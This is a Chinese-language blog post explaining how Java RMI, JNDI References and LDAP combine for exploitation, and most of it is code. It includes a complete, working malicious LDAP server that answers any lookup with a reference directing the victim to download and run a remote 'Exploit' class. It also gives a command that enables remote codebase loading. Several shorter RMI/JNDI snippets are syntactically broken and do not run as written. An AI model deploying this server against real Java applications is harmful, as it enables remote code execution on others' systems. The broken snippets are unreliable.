本文主要是介绍一文搞清rmi,jndi,reference,ldap,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
本文在编写代码的角度并不是很严谨,但是从安全利用角度对于理解他们之间的关系很有帮助。
单纯的rmi获取类首先通过本地CLASSPATH,java.class.path等加载class,若无则通过codebase加载远程地址(http、ftp。。)
通过如下命令设置codebase地址
java -Djava.rmi.server.useCodebaseOnly=false - Djava.rmi.server.codebase=http://example.com/ RMIClient
//RMIServer
//http://example.com
package com.RMIServer
public class RMIServer{public static void main(String args[]){Registry registry = LocateRegistry.createRegistry(1099);myclass.badClass bc = new myclass.badClass();registry.bind("Exploit", bc);}
}
//RMIClient
package com.RMIClient
public class RMIClient{public static void main(String args[]){Registry registry = LocateRegistry.getRegistry("rmi://example.com",1099);Exploit exp = (IHello) registry.lookup("Exploit");exp.function();}
}
jndi是rmi的扩展,
jndi = rmi + reference
reference挂载的http服务器上存放需要下载的类的字节码文件
//JNDIServer
package com.JNDIServer
public class JNDIServer{public static void main(String args[]){Registry registry = LocateRegistry.createRegistry(1099);//挂载本地的myclass.badClassName到http://example.com:8888Reference reference = new Reference("Exploit", "myclass.badClassName","http://example.com:8888/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);//对外名称叫Exploitregistry.bind("Exploit",referenceWrapper);}
}
//JNDIClient
package com.JDNIClient
public class JNDIClient{public static void main(String args[]){Registry registry = LocateRegistry.getRegistry("rmi://example.com",1099);//外界通过rmi访问Exploit来下载myclass.badClassExploit exp = (IHello) registry.lookup("Exploit");exp.function();}
}
从存储字节码文件角度讲reference挂载http服务 == ldap挂载http服务
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;public class LDAPServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main (String[] args) {//javaCodeBase#javaFactoryString url = "http://127.0.0.1:8888/#myclass.badClassName";int port = 1389;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen",InetAddress.getByName("0.0.0.0"),port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port);ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}/*** {@inheritDoc}** @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "Exploit");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference");e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}
参考
https://xz.aliyun.com/t/8979
https://chiahao.top/2020/04/08/%E5%85%B3%E4%BA%8ERMI%E7%9A%84Remote-Object%E5%92%8CReference/
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
这篇关于一文搞清rmi,jndi,reference,ldap的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!